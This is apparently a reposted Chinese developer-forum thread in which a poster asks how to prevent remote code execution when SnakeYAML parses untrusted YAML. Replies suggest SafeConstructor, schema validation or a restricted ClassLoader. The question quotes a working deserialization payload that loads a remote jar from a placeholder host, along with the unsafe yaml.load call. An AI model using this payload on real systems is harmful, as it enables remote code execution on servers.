跳至主要內容
  • Hostloc 空間訪問刷分
  • 售賣場
  • 廣告位
  • 賣站?

4563博客

全新的繁體中文 WordPress 網站
  • 首頁
  • 请教大家一下,如何避免 snakeyaml 解析 yaml 文件时被注入恶意代码导致远程执行呢
未分類
28 12 月 2020

请教大家一下,如何避免 snakeyaml 解析 yaml 文件时被注入恶意代码导致远程执行呢

请教大家一下,如何避免 snakeyaml 解析 yaml 文件时被注入恶意代码导致远程执行呢

資深大佬 : sqfphoenix 8

目前有这么一个需求,需要解析一个不确定格式的 yaml 文件为 json 。但是如果 yaml 是恶意的,如

!!javax.script.ScriptEngineManager [   !!java.net.URLClassLoader [[     !!java.net.URL ["http://x.x.x.x/doSomething.jar"]   ]] ] 

通过 snakeyaml 方法解析

Yaml yaml = new Yaml(); //因为不能确定 yaml 具体格式,所以不能通过 Constructor 的方式避免漏洞 Object obj = yaml.load(yamlString); 

此时就会有远程执行的问题 请教大家这个问题如何解决呢,通过参数校验 yaml 内容也不太好解决,因为可能 yaml 会有其他变形

大佬有話說 (3)

  • 資深大佬 : GM

    schema 验证?

  • 資深大佬 : dousha99

    如果不能预知任何信息,只知道这会是一个用户输入,那么这个需求是完全不靠谱的…

    不过因为是解析为 JSON, 那么按道理应该是可以使用 `SafeConstructor` 来解析成 POJO.

    或者,自己写一个 ClassLoader 提供给 SnakeYaml, 拦截掉你认为危险的 Class 就可以了。

  • 資深大佬 : miao1007

    jenkins 有定制后的 yaml

文章導覽

上一篇文章
下一篇文章

AD

其他操作

  • 登入
  • 訂閱網站內容的資訊提供
  • 訂閱留言的資訊提供
  • WordPress.org 台灣繁體中文

51la

4563博客

全新的繁體中文 WordPress 網站
返回頂端
本站採用 WordPress 建置 | 佈景主題採用 GretaThemes 所設計的 Memory
4563博客
  • Hostloc 空間訪問刷分
  • 售賣場
  • 廣告位
  • 賣站?
在這裡新增小工具